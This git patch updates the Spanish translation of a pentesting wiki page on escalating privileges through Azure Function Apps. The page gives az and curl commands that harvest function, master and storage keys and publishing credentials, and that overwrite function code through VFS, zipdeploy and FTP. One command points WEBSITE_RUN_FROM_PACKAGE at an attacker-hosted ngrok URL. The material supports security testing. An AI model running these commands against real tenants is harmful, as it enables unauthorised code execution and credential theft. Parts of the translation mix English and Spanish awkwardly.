From 8b3e34c8999c064175b29573c0c4f67a60338a73 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 16 Jun 2026 13:16:04 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-functions-app-privesc.md | 135 ++++++++++-------- 1 file changed, 78 insertions(+), 57 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 99bc7c167..e499063af 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Consulta la siguiente página para más información: +Consulta la siguiente página para obtener más información: {{#ref}} ../az-services/az-function-apps.md @@ -12,26 +12,26 @@ Consulta la siguiente página para más información: ### Bucket Read/Write -Con permisos para leer los containers dentro de la Storage Account que almacena los datos de la function, es posible encontrar **diferentes containers** (personalizados o con nombres predefinidos) que podrían contener **el code ejecutado por la function**. +Con permisos para leer los containers dentro del Storage Account que almacena los datos de la function, es posible encontrar **different containers** (custom o con nombres predefinidos) que pueden contener **el código ejecutado por la function**. -Una vez que encuentres dónde está ubicado el code de la function, si tienes permisos de escritura sobre él puedes hacer que la function ejecute cualquier code y escalar privilegios a las managed identities adjuntas a la function. +Una vez que encuentres dónde está ubicado el código de la function, si tienes permisos de escritura sobre él, puedes hacer que la function ejecute cualquier código y escalar privilegios a las managed identities adjuntas a la function. - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`) -El code de la function suele almacenarse dentro de un file share. Con suficiente acceso es posible modificar el archivo de code y **hacer que la function load arbitrary code** permitiendo escalar privilegios a las managed identities adjuntas a la Function. +El código de la function normalmente se almacena dentro de un file share. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la function cargue código arbitrario**, lo que permite escalar privilegios a las managed identities adjuntas a la Function. -Este método de deployment normalmente configura los settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** which you can get from +Este método de despliegue normalmente configura las settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Esas configs contendrán la **Storage Account Key** que la Function puede usar para acceder al código. +Esas configs contendrán la **Storage Account Key** que la Function puede usar para acceder al code. > [!CAUTION] -> Con permisos suficientes para conectarse al File Share y **modificar el script** que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios. +> Con suficientes permisos para conectarse al File Share y **modificar el script** que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios. -El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para más información sobre file shares: +El siguiente ejemplo usa macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para obtener más info sobre file shares: {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -También es común encontrar las **zip releases** dentro de la carpeta `function-releases` del contenedor de Storage Account que la function app está usando, en un contenedor **usualmente llamado `function-releases`**. +También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor del Storage Account que la function app está usando en un contenedor **normalmente llamado `function-releases`**. -Normalmente este método de despliegue establecerá la configuración `WEBSITE_RUN_FROM_PACKAGE` en: +Normalmente este método de despliegue establecerá la config `WEBSITE_RUN_FROM_PACKAGE` en: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Esta configuración suele contener una **SAS URL para descargar** el código desde el Storage Account. +Esta configuración normalmente contendrá una **SAS URL para descargar** el código desde el Storage Account. > [!CAUTION] -> Con permisos suficientes para conectarse al blob container que **contiene el código en zip** es posible ejecutar código arbitrario en la Function y escalar privilegios. +> Con suficientes permisos para conectarse al blob container que **contiene el código en zip** es posible ejecutar código arbitrario en la Function y escalar privilegios. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Al igual que en el caso anterior, si el despliegue se realiza vía Github Actions es posible encontrar la carpeta **`github-actions-deploy`** en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`. +Al igual que en el caso anterior, si el deployment se realiza mediante Github Actions es posible encontrar la carpeta **`github-actions-deploy`** en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Con permisos para leer los contenedores dentro del Storage Account que almacena los datos de la function es posible encontrar el contenedor **`scm-releases`**. Allí se puede encontrar la última release en **Squashfs filesystem file format** y por lo tanto es posible leer el código de la function: +Con permisos para leer los containers dentro del Storage Account que almacena los datos de la function es posible encontrar el container **`scm-releases`**. Allí es posible encontrar el último release en **Squashfs filesystem file format** y, por lo tanto, es posible leer el código de la function: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -También es posible encontrar las **master and functions keys** almacenadas en la storage account en el container **`azure-webjobs-secrets`** dentro de la carpeta **``** en los archivos JSON que puedes encontrar en su interior. +También es posible encontrar las **master and functions keys** almacenadas en la storage account en el container **`azure-webjobs-secrets`** dentro de la carpeta **``** en los archivos JSON que puedes encontrar dentro. > [!CAUTION] -> Con permisos suficientes para conectarse al blob container que **contains the code in a zip extension file** (que en realidad es un **`squashfs`**) es posible ejecutar código arbitrario en la Function y escalar privilegios. +> Con suficiente permission para conectarse al blob container que **contiene el code en un archivo con extensión zip** (que en realidad es un **`squashfs`**) es posible ejecutar arbitrary code en la Function y escalar privilegios. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Este permiso permite listar las claves function, master y system, pero no la host, de la función especificada con: +Este permiso permite listar las keys de function, master y system, pero no la host, de la function especificada con: ```bash az functionapp keys list --resource-group --name ``` -Con la master key también es posible obtener el código fuente en una URL como: +Con la master key también es posible obtener el source code en una URL como: ```bash # Get "script_href" from az rest --method GET \ @@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # JavaScript function app example curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -Y para **cambiar el código que se está ejecutando** en la función con: +Y para **cambiar el código que se está ejecutando** en la function con: ```bash # Set the code to set in the function in /tmp/function_app.py ## Python function app example @@ -154,17 +154,17 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot ``` ### `Microsoft.Web/sites/functions/listKeys/action` -Este permiso permite obtener la default key de la función especificada con: +Este permiso permite obtener la key default de la función especificada con: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -Invoca la función utilizando la clave predeterminada obtenida: +Invoca la función usando la key obtenida por defecto: ```bash curl "https://.azurewebsites.net/api/?code=" ``` ### `Microsoft.Web/sites/host/functionKeys/write` -Este permiso permite crear/actualizar una clave de función de la función especificada con: +Este permiso permite crear/actualizar una function key de la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` @@ -175,7 +175,7 @@ Este permiso permite crear/actualizar una master key para la función especifica az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> Recuerda que con esta key también puedes acceder al código fuente y modificarlo como se explicó antes! +> ¡Recuerda que con esta key también puedes acceder al source code y modificarlo como se explicó antes! ### `Microsoft.Web/sites/host/systemKeys/write` @@ -193,7 +193,7 @@ curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code= --resource-group ``` @@ -204,17 +204,17 @@ az rest --method POST \ ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecuta dentro de la función. +Estos permisos permiten listar los valores de configuración de un function como vimos antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el code que se va a ejecutar dentro de la function. -Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en una URL que contenga el nuevo código a ejecutar dentro de una aplicación web: +Por lo tanto, es posible establecer el valor de la setting **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en una URL que contenga el nuevo code a ejecutar dentro de una web application: -- Comienza por obtener la configuración actual +- Empieza obteniendo la config actual ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Crea el código que quieras que la función ejecute y alójalo públicamente +- Crea el código que quieres que la función ejecute y alójalo públicamente ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -224,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Modifica la función, mantén los parámetros anteriores y añade al final la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el código. +- Modifica la función, mantén los parámetros anteriores y añade al final la config **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el code. -La siguiente es un ejemplo de mis **propias configuraciones que tendrás que cambiar por las tuyas**, nota al final el valor `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde alojaba la app. +El siguiente es un example de mis **propios settings que tendrás que cambiar por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la app. ```bash # Modify the function az rest --method PUT \ @@ -236,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o mediante el siguiente endpoint de la API): +Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente endpoint de API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -266,7 +266,7 @@ body: responseMessage ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Este permiso permite listar todos los publishing profiles que básicamente contienen **basic auth credentials**: +Este permiso permite listar todos los perfiles de publicación, que básicamente contienen **basic auth credentials**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Otra opción sería configurar tus propios creds y usarlos con: +Otra opción sería establecer tus propias creds y usarlas utilizando: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Si las credenciales están **REDACTED** +- Si las credenciales de **REDACTED** -Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción SCM de autenticación básica** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Si ves que esas credenciales son **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -302,26 +302,47 @@ az rest --method PUT \ } } ``` -- **Método SCM** +- **Method SCM** -Entonces, puedes acceder con estas **basic auth credentials to the SCM URL** de tu function app y obtener los valores de las env variables: +Entonces, puedes acceder con estas **credenciales de autenticación básica a la URL SCM** de tu function app y obtener los valores de las variables de entorno: ```bash # Get settings values curl -u ':' \ https://.scm.azurewebsites.net/api/settings -v -# Deploy code to the funciton -zip function_app.zip function_app.py # Your code in function_app.py -curl -u ':' -X POST --data-binary "@" \ -https://.scm.azurewebsites.net/api/zipdeploy ``` -_Nota que el **SCM username** suele ser el carácter "$" seguido del nombre de la app, así: `$`._ +Puedes descargar, modificar y subir nuevo código de función: +```bash +# download +curl -u ':' -X GET \ +https://.scm.azurewebsites.net/api/zip/site/wwwroot/ \ +-o current_function_code.zip -También puedes acceder a la página web desde `https://.scm.azurewebsites.net/BasicAuth` +unzip current_function_code.zip -d updated_code/ +cd updated_code/ +#... modify the function code +zip -r ../updated_function_app.zip . +cd ../ -Los valores de configuración contienen el **AccountKey** de la storage account que almacena los datos de la function app, lo que permite controlar esa storage account. +# upload +curl -u ':' https://.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v +``` +Incluso puedes subir un archivo específico: +```bash +curl -u ':' \ +-X PUT \ +-H "Content-Type: application/javascript" \ +-H "If-Match: *" \ +--data-binary "@./my_local_payload.js" \ +"https://.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file +``` +_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ -- **Método FTP** +También puedes acceder a la web page desde `https://.scm.azurewebsites.net/BasicAuth` + +Los valores de configuración contienen la **AccountKey** de la storage account que almacena los datos de la function app, permitiendo controlar esa storage account. + +- **Method FTP** Conéctate al servidor FTP usando: ```bash @@ -337,7 +358,7 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Tenga en cuenta que el **FTP username** suele tener el formato \\\$\._ +_Note that the **FTP username** is usually in the format \\\$\._ ### `Microsoft.Web/sites/hostruntime/vfs/read` @@ -347,9 +368,9 @@ az rest --url "https://management.azure.com/subscriptions//reso ``` ### `Microsoft.Web/sites/functions/token/action` -Con este permiso es posible [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que posteriormente puede usarse para recuperar la **master key** y, por lo tanto, acceder y modificar el código de la función. +Con este permiso es posible [obtener el **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), que luego puede usarse para recuperar la **master key** y, por tanto, acceder y modificar el código de la function. -Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, por lo que podría estar deshabilitado o ya no funcionar; pero aquí se muestra cómo lo harías: +Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, así que puede que esté deshabilitado o que ya no funcione, pero así es como lo harías: ```bash # Get admin token az rest --method GET \ @@ -369,13 +390,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -También es posible ver si una función está habilitada o deshabilitada en la siguiente URL (usando el permiso entre paréntesis): +También es posible ver si una function está habilitada o deshabilitada en la siguiente URL (usando el permiso entre paréntesis): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Con estos permisos es posible **modificar el container run by a function app** configurado para run a container. Esto permitiría a un atacante subir una azure function container app maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute. +Con estos permisos es posible **modificar el container ejecutado por una function app** configurada para ejecutar un container. Esto permitiría a un atacante subir una malicious azure function container app a docker hub (por ejemplo) y hacer que la function lo ejecute. ```bash az functionapp config container set --name \ --resource-group \ @@ -383,29 +404,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Con estos permisos es posible **adjuntar una nueva identidad administrada de usuario a una función**. Si la función fuera comprometida, esto permitiría escalar privilegios a cualquier identidad administrada de usuario. +Con estos permisos es posible **adjuntar una nueva user managed identity a una function**. Si la function estuviera comprometida, esto permitiría escalar privilegios a cualquier user managed identity. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Depuración remota +### Remote Debugging -También es posible conectarse para depurar una Azure Function en ejecución como [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto Azure desactivará esta opción pasados 2 días en caso de que el desarrollador la olvide, para evitar dejar configuraciones vulnerables. +También es posible conectarse para depurar una Azure function en ejecución como se [**explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide de evitar dejar configuraciones vulnerables. Es posible comprobar si una Function tiene la depuración habilitada con: ```bash az functionapp show --name --resource-group ``` -Teniendo el permiso `Microsoft.Web/sites/config/write` también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`). +Tener el permiso `Microsoft.Web/sites/config/write` también permite poner una function en modo debugging (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Cambiar repo de Github +### Change Github repo -Intenté cambiar el repo de Github desde donde ocurre el despliegue ejecutando los siguientes comandos, pero aunque cambió, **el nuevo código no se cargó** (probablemente porque espera que la Github Action actualice el código).\ -Además, la **managed identity federated credential no se actualizó** para permitir el nuevo repositorio, así que parece que esto no es muy útil. +Intenté cambiar el Github repo desde donde se está realizando el deployment ejecutando los siguientes comandos, pero aunque sí cambiara, **el nuevo code no se cargó** (probablemente porque espera que el Github Action actualice el code).\ +Además, la **managed identity federated credential no se actualizó** para permitir el nuevo repository, así que parece que esto no es muy útil. ```bash # Remove current az functionapp deployment source delete \